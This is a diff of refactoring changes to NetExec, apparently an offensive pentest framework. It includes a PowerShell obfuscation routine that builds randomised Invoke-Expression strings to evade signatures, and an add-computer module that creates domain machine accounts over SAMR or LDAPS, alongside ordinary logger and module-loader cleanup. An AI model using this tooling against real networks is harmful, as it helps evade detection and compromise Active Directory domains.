'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
|
||||
choice(base_script_array) + choice(["", " "]) + join + choice(["", " "]) + "''",
|
||||
join + choice(["", " "]) + choice(base_script_array),
|
||||
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(base_script_array) + choice(["", " "]) + ")",
|
||||
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(base_script_array) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
|
||||
]
|
||||
|
||||
# Randomly select one of the above commands.
|
||||
newScript = choice(new_script_array)
|
||||
new_script = choice(new_script_array)
|
||||
|
||||
# Generate random invoke operation syntax
|
||||
# Below code block is a copy from Out-ObfuscatedStringCommand.ps1
|
||||
|
@ -383,54 +421,20 @@ def invoke_obfuscation(script_string):
|
|||
# but not a silver bullet
|
||||
# These methods draw on common environment variable values and PowerShell Automatic Variable
|
||||
# values/methods/members/properties/etc.
|
||||
invocationOperator = choice([".", "&"]) + choice(["", " "])
|
||||
invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')")
|
||||
invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')")
|
||||
invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')")
|
||||
invocation_operator = choice([".", "&"]) + choice(["", " "])
|
||||
invoke_expression_syntax.extend((invocation_operator + "( $ShellId[1]+$ShellId[13]+'x')", invocation_operator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')", invocation_operator + "( $env:Public[13]+$env:Public[5]+'x')", invocation_operator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')", invocation_operator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')", invocation_operator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')"))
|
||||
|
||||
# Randomly choose from above invoke operation syntaxes.
|
||||
invokeExpression = choice(invoke_expression_syntax)
|
||||
invoke_expression = choice(invoke_expression_syntax)
|
||||
|
||||
# Randomize the case of selected invoke operation.
|
||||
invokeExpression = "".join(choice([i.upper(), i.lower()]) for i in invokeExpression)
|
||||
invoke_expression = "".join(choice([i.upper(), i.lower()]) for i in invoke_expression)
|
||||
|
||||
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
|
||||
invokeOptions = [
|
||||
choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]),
|
||||
choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression,
|
||||
invoke_options = [
|
||||
choice(["", " "]) + invoke_expression + choice(["", " "]) + "(" + choice(["", " "]) + new_script + choice(["", " "]) + ")" + choice(["", " "]),
|
||||
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
|
||||
]
|
||||
|
||||
obfuscated_payload = choice(invokeOptions)
|
||||
return choice(invoke_options)
|
||||
|
||||
"""
|
||||
# Array to store all selected PowerShell execution flags.
|
||||
powerShellFlags = []
|
||||
|
||||
noProfile = '-nop'
|
||||
nonInteractive = '-noni'
|
||||
windowStyle = '-w'
|
||||
|
||||
# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
|
||||
# This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
|
||||
commandlineOptions = []
|
||||
commandlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)])
|
||||
commandlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)])
|
||||
# Randomly decide to write WindowStyle value with flag substring or integer value.
|
||||
commandlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1, 1)] + choice([' '*1, ' '*2, ' '*3]) + choice(['1','h','hi','hid','hidd','hidde'])))
|
||||
|
||||
# Randomize the case of all command-line arguments.
|
||||
for count, option in enumerate(commandlineOptions):
|
||||
commandlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in option)
|
||||
|
||||
for count, option in enumerate(commandlineOptions):
|
||||
commandlineOptions[count] = ''.join(option)
|
||||
|
||||
commandlineOptions = sample(commandlineOptions, len(commandlineOptions))
|
||||
commandlineOptions = ''.join(i + choice([' '*1, ' '*2, ' '*3]) for i in commandlineOptions)
|
||||
|
||||
obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript
|
||||
"""
|
||||
return obfuscated_payload
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import nxc
|
||||
import importlib
|
||||
import traceback
|
||||
|
@ -12,7 +9,7 @@ from os.path import join as path_join
|
|||
|
||||
from nxc.context import Context
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import nxc_PATH
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class ModuleLoader:
|
||||
|
@ -22,9 +19,7 @@ class ModuleLoader:
|
|||
self.logger = logger
|
||||
|
||||
def module_is_sane(self, module, module_path):
|
||||
"""
|
||||
Check if a module has the proper attributes
|
||||
"""
|
||||
"""Check if a module has the proper attributes"""
|
||||
module_error = False
|
||||
if not hasattr(module, "name"):
|
||||
self.logger.fail(f"{module_path} missing the name variable")
|
||||
|
@ -47,18 +42,13 @@ class ModuleLoader:
|
|||
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
|
||||
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
|
||||
module_error = True
|
||||
# elif not hasattr(module, 'chain_support'):
|
||||
# self.logger.fail('{} missing the chain_support variable'.format(module_path))
|
||||
# module_error = True
|
||||
|
||||
if module_error:
|
||||
return False
|
||||
return True
|
||||
|
||||
def load_module(self, module_path):
|
||||
"""
|
||||
Load a module, initializing it and checking that it has the proper attributes
|
||||
"""
|
||||
"""Load a module, initializing it and checking that it has the proper attributes"""
|
||||
try:
|
||||
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
|
||||
module = spec.loader.load_module().NXCModule()
|
||||
|
@ -68,12 +58,9 @@ class ModuleLoader:
|
|||
except Exception as e:
|
||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
return None
|
||||
|
||||
def init_module(self, module_path):
|
||||
"""
|
||||
Initialize a module for execution
|
||||
"""
|
||||
"""Initialize a module for execution"""
|
||||
module = None
|
||||
module = self.load_module(module_path)
|
||||
|
||||
|
@ -99,9 +86,7 @@ class ModuleLoader:
|
|||
sys.exit(1)
|
||||
|
||||
def get_module_info(self, module_path):
|
||||
"""
|
||||
Get the path, description, and options from a module
|
||||
"""
|
||||
"""Get the path, description, and options from a module"""
|
||||
try:
|
||||
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
|
||||
module_spec = spec.loader.load_module().NXCModule
|
||||
|
@ -114,6 +99,7 @@ class ModuleLoader:
|
|||
"supported_protocols": module_spec.supported_protocols,
|
||||
"opsec_safe": module_spec.opsec_safe,
|
||||
"multiple_hosts": module_spec.multiple_hosts,
|
||||
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
|
||||
}
|
||||
}
|
||||
if self.module_is_sane(module_spec, module_path):
|
||||
|
@ -121,16 +107,13 @@ class ModuleLoader:
|
|||
except Exception as e:
|
||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
return None
|
||||
|
||||
def list_modules(self):
|
||||
"""
|
||||
List modules without initializing them
|
||||
"""
|
||||
"""List modules without initializing them"""
|
||||
modules = {}
|
||||
modules_paths = [
|
||||
path_join(dirname(nxc.__file__), "modules"),
|
||||
path_join(nxc_PATH, "modules"),
|
||||
path_join(NXC_PATH, "modules"),
|
||||
]
|
||||
|
||||
for path in modules_paths:
|
||||
|
@ -140,6 +123,6 @@ class ModuleLoader:
|
|||
module_path = path_join(path, module)
|
||||
module_data = self.get_module_info(module_path)
|
||||
modules.update(module_data)
|
||||
except:
|
||||
pass
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error loading module {module}: {e}")
|
||||
return modules
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
from types import ModuleType
|
||||
from importlib.machinery import SourceFileLoader
|
||||
from os import listdir
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import logging
|
||||
from logging import LogRecord
|
||||
from logging.handlers import RotatingFileHandler
|
||||
|
@ -34,39 +32,34 @@ class NXCAdapter(logging.LoggerAdapter):
|
|||
logging.getLogger("pypykatz").disabled = True
|
||||
logging.getLogger("minidump").disabled = True
|
||||
logging.getLogger("lsassy").disabled = True
|
||||
#logging.getLogger("impacket").disabled = True
|
||||
|
||||
def format(self, msg, *args, **kwargs):
|
||||
"""
|
||||
Format msg for output if needed
|
||||
def format(self, msg, *args, **kwargs): # noqa: A003
|
||||
"""Format msg for output
|
||||
|
||||
This is used instead of process() since process() applies to _all_ messages, including debug calls
|
||||
"""
|
||||
if self.extra is None:
|
||||
return f"{msg}", kwargs
|
||||
|
||||
if "module_name" in self.extra.keys():
|
||||
if len(self.extra["module_name"]) > 8:
|
||||
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
|
||||
if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
|
||||
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
|
||||
|
||||
# If the logger is being called when hooking the 'options' module function
|
||||
if len(self.extra) == 1 and ("module_name" in self.extra.keys()):
|
||||
if len(self.extra) == 1 and ("module_name" in self.extra):
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
|
||||
# If the logger is being called from nxcServer
|
||||
if len(self.extra) == 2 and ("module_name" in self.extra.keys()) and ("host" in self.extra.keys()):
|
||||
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
|
||||
# If the logger is being called from a protocol
|
||||
if "module_name" in self.extra.keys():
|
||||
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"])
|
||||
else:
|
||||
module_name = colored(self.extra["protocol"], "blue", attrs=["bold"])
|
||||
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
|
||||
|
||||
return (
|
||||
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
|
||||
|
@ -74,11 +67,9 @@ class NXCAdapter(logging.LoggerAdapter):
|
|||
)
|
||||
|
||||
def display(self, msg, *args, **kwargs):
|
||||
"""
|
||||
Display text to console, formatted for nxc
|
||||
"""
|
||||
"""Display text to console, formatted for nxc"""
|
||||
try:
|
||||
if "protocol" in self.extra.keys() and not called_from_cmd_args():
|
||||
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
@ -88,12 +79,10 @@ class NXCAdapter(logging.LoggerAdapter):
|
|||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
def success(self, msg, color='green', *args, **kwargs):
|
||||
"""
|
||||
Print some sort of success to the user
|
||||
"""
|
||||
def success(self, msg, color="green", *args, **kwargs):
|
||||
"""Print some sort of success to the user"""
|
||||
try:
|
||||
if "protocol" in self.extra.keys() and not called_from_cmd_args():
|
||||
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
@ -104,11 +93,9 @@ class NXCAdapter(logging.LoggerAdapter):
|
|||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
def highlight(self, msg, *args, **kwargs):
|
||||
"""
|
||||
Prints a completely yellow highlighted message to the user
|
||||
"""
|
||||
"""Prints a completely yellow highlighted message to the user"""
|
||||
try:
|
||||
if "protocol" in self.extra.keys() and not called_from_cmd_args():
|
||||
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
@ -118,12 +105,10 @@ class NXCAdapter(logging.LoggerAdapter):
|
|||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
def fail(self, msg, color='red', *args, **kwargs):
|
||||
"""
|
||||
Prints a failure (may or may not be an error) - e.g. login creds didn't work
|
||||
"""
|
||||
def fail(self, msg, color="red", *args, **kwargs):
|
||||
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
|
||||
try:
|
||||
if "protocol" in self.extra.keys() and not called_from_cmd_args():
|
||||
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
@ -133,9 +118,10 @@ class NXCAdapter(logging.LoggerAdapter):
|
|||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
def log_console_to_file(self, text, *args, **kwargs):
|
||||
"""
|
||||
"""Log the console output to a file
|
||||
|
||||
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
|
||||
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers
|
||||
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
|
||||
"""
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
# will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
|
@ -164,16 +150,16 @@ class NXCAdapter(logging.LoggerAdapter):
|
|||
file_creation = False
|
||||
|
||||
if not os.path.isfile(output_file):
|
||||
open(output_file, "x")
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
file_creation = True
|
||||
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
|
||||
|
||||
with file_handler._open() as f:
|
||||
if file_creation:
|
||||
f.write("[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
|
||||
f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
else:
|
||||
f.write("\n[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
|
||||
f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
|
||||
file_handler.setFormatter(file_formatter)
|
||||
self.logger.addHandler(file_handler)
|
||||
|
@ -181,16 +167,15 @@ class NXCAdapter(logging.LoggerAdapter):
|
|||
|
||||
@staticmethod
|
||||
def init_log_file():
|
||||
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime('%Y-%m-%d')
|
||||
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
|
||||
if not os.path.exists(newpath):
|
||||
os.makedirs(newpath)
|
||||
log_filename = os.path.join(
|
||||
return os.path.join(
|
||||
os.path.expanduser("~/.nxc"),
|
||||
"logs",
|
||||
datetime.now().strftime('%Y-%m-%d'),
|
||||
datetime.now().strftime("%Y-%m-%d"),
|
||||
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
|
||||
)
|
||||
return log_filename
|
||||
|
||||
|
||||
class TermEscapeCodeFormatter(logging.Formatter):
|
||||
|
@ -199,7 +184,7 @@ class TermEscapeCodeFormatter(logging.Formatter):
|
|||
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
|
||||
super().__init__(fmt, datefmt, style, validate)
|
||||
|
||||
def format(self, record):
|
||||
def format(self, record): # noqa: A003
|
||||
escape_re = re.compile(r"\x1b\[[0-9;]*m")
|
||||
record.msg = re.sub(escape_re, "", str(record.msg))
|
||||
return super().format(record)
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
|
||||
# Airbus CERT
|
||||
# module by @mpgn_x64
|
||||
|
@ -36,7 +33,6 @@ class NXCModule:
|
|||
|
||||
context.log.debug("[*] Retrieving network interface of " + connection.host)
|
||||
|
||||
# NetworkAddr = bindings[0]['aNetworkAddr']
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
|
@ -40,23 +38,21 @@ class NXCModule:
|
|||
self.base_dn = module_options["BASE_DN"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""
|
||||
On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.
|
||||
"""
|
||||
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
|
||||
if self.server is None:
|
||||
search_filter = "(objectClass=pKIEnrollmentService)"
|
||||
else:
|
||||
search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,"
|
||||
self.context.log.highlight("Using PKI CN: {}".format(self.server))
|
||||
self.context.log.highlight(f"Using PKI CN: {self.server}")
|
||||
|
||||
context.log.display("Starting LDAP search with search filter '{}'".format(search_filter))
|
||||
context.log.display(f"Starting LDAP search with search filter '{search_filter}'")
|
||||
|
||||
try:
|
||||
sc = ldap.SimplePagedResultsControl()
|
||||
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
|
||||
|
||||
if self.server is None:
|
||||
resp = connection.ldapConnection.search(
|
||||
connection.ldapConnection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=[],
|
||||
sizeLimit=0,
|
||||
|
@ -65,7 +61,7 @@ class NXCModule:
|
|||
searchBase="CN=Configuration," + base_dn_root,
|
||||
)
|
||||
else:
|
||||
resp = connection.ldapConnection.search(
|
||||
connection.ldapConnection.search(
|
||||
searchFilter=search_filter + base_dn_root + ")",
|
||||
attributes=["certificateTemplates"],
|
||||
sizeLimit=0,
|
||||
|
@ -74,12 +70,10 @@ class NXCModule:
|
|||
searchBase="CN=Configuration," + base_dn_root,
|
||||
)
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail("Obtained unexpected exception: {}".format(str(e)))
|
||||
context.log.fail(f"Obtained unexpected exception: {e}")
|
||||
|
||||
def process_servers(self, item):
|
||||
"""
|
||||
Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers.
|
||||
"""
|
||||
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
|
||||
if not isinstance(item, ldapasn1.SearchResultEntry):
|
||||
return
|
||||
|
||||
|
@ -103,19 +97,17 @@ class NXCModule:
|
|||
urls.append(match.group(1))
|
||||
except Exception as e:
|
||||
entry = host_name or "item"
|
||||
self.context.log.fail("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
|
||||
self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e!s}'")
|
||||
|
||||
if host_name:
|
||||
self.context.log.highlight("Found PKI Enrollment Server: {}".format(host_name))
|
||||
self.context.log.highlight(f"Found PKI Enrollment Server: {host_name}")
|
||||
if cn:
|
||||
self.context.log.highlight("Found CN: {}".format(cn))
|
||||
self.context.log.highlight(f"Found CN: {cn}")
|
||||
for url in urls:
|
||||
self.context.log.highlight("Found PKI Enrollment WebService: {}".format(url))
|
||||
self.context.log.highlight(f"Found PKI Enrollment WebService: {url}")
|
||||
|
||||
def process_templates(self, item):
|
||||
"""
|
||||
Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server.
|
||||
"""
|
||||
"""Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server."""
|
||||
if not isinstance(item, ldapasn1.SearchResultEntry):
|
||||
return
|
||||
|
||||
|
@ -134,4 +126,4 @@ class NXCModule:
|
|||
|
||||
if templates:
|
||||
for t in templates:
|
||||
self.context.log.highlight("Found Certificate Template: {}".format(t))
|
||||
self.context.log.highlight(f"Found Certificate Template: {t}")
|
||||
|
|
|
@ -1,26 +1,25 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import ssl
|
||||
import ldap3
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
import sys
|
||||
|
||||
|
||||
class NXCModule:
|
||||
'''
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
Thanks to the guys at impacket for the original code
|
||||
'''
|
||||
"""
|
||||
|
||||
name = 'add-computer'
|
||||
description = 'Adds or deletes a domain computer'
|
||||
supported_protocols = ['smb']
|
||||
name = "add-computer"
|
||||
description = "Adds or deletes a domain computer"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
"""
|
||||
add-computer: Specify add-computer to call the module using smb
|
||||
NAME: Specify the NAME option to name the Computer to be added
|
||||
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
|
||||
|
@ -29,8 +28,7 @@ class NXCModule:
|
|||
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
'''
|
||||
|
||||
"""
|
||||
self.__baseDN = None
|
||||
self.__computerGroup = None
|
||||
self.__method = "SAMR"
|
||||
|
@ -38,31 +36,29 @@ class NXCModule:
|
|||
self.__delete = False
|
||||
self.noLDAPRequired = False
|
||||
|
||||
if 'DELETE' in module_options:
|
||||
if "DELETE" in module_options:
|
||||
self.__delete = True
|
||||
|
||||
if 'CHANGEPW' in module_options and ('NAME' not in module_options or 'PASSWORD' not in module_options):
|
||||
context.log.error('NAME and PASSWORD options are required!')
|
||||
elif 'CHANGEPW' in module_options:
|
||||
self.__noAdd = True
|
||||
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
|
||||
context.log.error("NAME and PASSWORD options are required!")
|
||||
elif "CHANGEPW" in module_options:
|
||||
self.__noAdd = True
|
||||
|
||||
if 'NAME' in module_options:
|
||||
self.__computerName = module_options['NAME']
|
||||
if self.__computerName[-1] != '$':
|
||||
self.__computerName += '$'
|
||||
if "NAME" in module_options:
|
||||
self.__computerName = module_options["NAME"]
|
||||
if self.__computerName[-1] != "$":
|
||||
self.__computerName += "$"
|
||||
else:
|
||||
context.log.error('NAME option is required!')
|
||||
exit(1)
|
||||
context.log.error("NAME option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
if 'PASSWORD' in module_options:
|
||||
self.__computerPassword = module_options['PASSWORD']
|
||||
elif 'PASSWORD' not in module_options and not self.__delete:
|
||||
context.log.error('PASSWORD option is required!')
|
||||
exit(1)
|
||||
if "PASSWORD" in module_options:
|
||||
self.__computerPassword = module_options["PASSWORD"]
|
||||
elif "PASSWORD" not in module_options and not self.__delete:
|
||||
context.log.error("PASSWORD option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
|
||||
#Set some variables
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.hostname + "." + connection.domain
|
||||
|
@ -86,222 +82,224 @@ class NXCModule:
|
|||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
# First try to add via SAMR over SMB
|
||||
self.doSAMRAdd(context)
|
||||
self.do_samr_add(context)
|
||||
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.doLDAPSAdd(connection,context)
|
||||
self.do_ldaps_add(connection, context)
|
||||
else:
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
|
||||
def doSAMRAdd(self,context):
|
||||
def do_samr_add(self, context):
|
||||
"""
|
||||
Connects to a target server and performs various operations related to adding or deleting machine accounts.
|
||||
|
||||
Args:
|
||||
----
|
||||
context (object): The context object.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
target = self.__targetIp or self.__target
|
||||
string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.set_dport(self.__port)
|
||||
|
||||
if self.__targetIp is not None:
|
||||
stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
|
||||
else:
|
||||
stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.set_dport(self.__port)
|
||||
rpc_transport.setRemoteHost(self.__targetIp)
|
||||
rpc_transport.setRemoteName(self.__target)
|
||||
|
||||
if self.__targetIp is not None:
|
||||
rpctransport.setRemoteHost(self.__targetIp)
|
||||
rpctransport.setRemoteName(self.__target)
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||
|
||||
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
servHandle = None
|
||||
domainHandle = None
|
||||
userHandle = None
|
||||
try:
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target,
|
||||
samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN )
|
||||
servHandle = samrConnectResponse['ServerHandle']
|
||||
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
|
||||
serv_handle = samr_connect_response["ServerHandle"]
|
||||
|
||||
samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)
|
||||
domains = samrEnumResponse['Buffer']['Buffer']
|
||||
domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains))
|
||||
|
||||
if len(domainsWithoutBuiltin) > 1:
|
||||
domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains))
|
||||
if len(domain) != 1:
|
||||
context.log.highlight(u'{}'.format(
|
||||
'This domain does not exist: "' + self.__domainNetbios + '"'))
|
||||
logging.critical("Available domain(s):")
|
||||
for domain in domains:
|
||||
logging.error(" * %s" % domain['Name'])
|
||||
raise Exception()
|
||||
else:
|
||||
selectedDomain = domain[0]['Name']
|
||||
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
|
||||
domains = samr_enum_response["Buffer"]["Buffer"]
|
||||
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
|
||||
if len(domains_without_builtin) > 1:
|
||||
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
|
||||
if len(domain) != 1:
|
||||
